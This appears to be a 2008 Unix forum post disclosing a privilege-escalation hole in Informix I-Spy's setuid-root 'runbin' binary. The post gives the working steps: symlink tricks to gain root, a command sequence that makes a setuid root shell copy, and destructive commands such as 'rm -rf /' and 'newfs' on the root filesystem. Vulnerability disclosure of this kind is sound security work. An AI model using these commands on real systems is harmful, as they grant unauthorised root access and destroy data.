Unix Technical Forum

BIG INFORMIX I-SPY SECURITY HOLE

This is a discussion on BIG INFORMIX I-SPY SECURITY HOLE within the Informix forums, part of the Database Server Software category; --> Install i-spy into /opt/ispy... you get directories /opt/ispy/bin and /opt/ispy/realbin... and /opt/ispy/runbin which is setuid root....hmmm runbin eh? strings ...


Go Back   Unix Technical Forum > Database Server Software > Informix

FAQ Members List Calendar Search Today's Posts Mark Forums Read
  #1 (permalink)  
Old 04-19-2008, 10:47 PM
David Williams
 
Posts: n/a
Default BIG INFORMIX I-SPY SECURITY HOLE


Install i-spy into /opt/ispy...

you get directories /opt/ispy/bin and /opt/ispy/realbin...

and /opt/ispy/runbin which is setuid root....hmmm runbin eh?

strings runbin shows that it calls execv()....hmmm even worse!

ln -s /opt/ispy/bin/runbin /tmp/djw/ls

/tmp/djw/ls
execv() of [/tmp/bin/realbin/ls] failed, errno 2

so it uses argv[0] to get the relative directory to use and is fooled by
links??


So running /tmp/djw/ls does an execv() of /tmp/bin/realbin/ls and runbin is
setuid root so...

cp `whence id` /tmp/bin/realbin/ls

/tmp/djw/ls
uid=...gid=...euid=0(root)...
^^^^^^^^^^

so making /tmp/bin/realbin/ls a C program which does

- cp /bin/sh /tmp/.hacked; chown root /tmp/.hacked; chmod 4775 /tmp/.hacked
gives a root shell!!
- rm -rf /
- newfs <rootfs>
etc etc etc...

Welcome to the sos zone..you've been hacked!!


Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On
Forum Jump


All times are GMT. The time now is 08:55 AM.


Powered by vBulletin® Version 3.6.5
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
SEO by vBSEO 3.2.0
www.UnixAdminTalk.com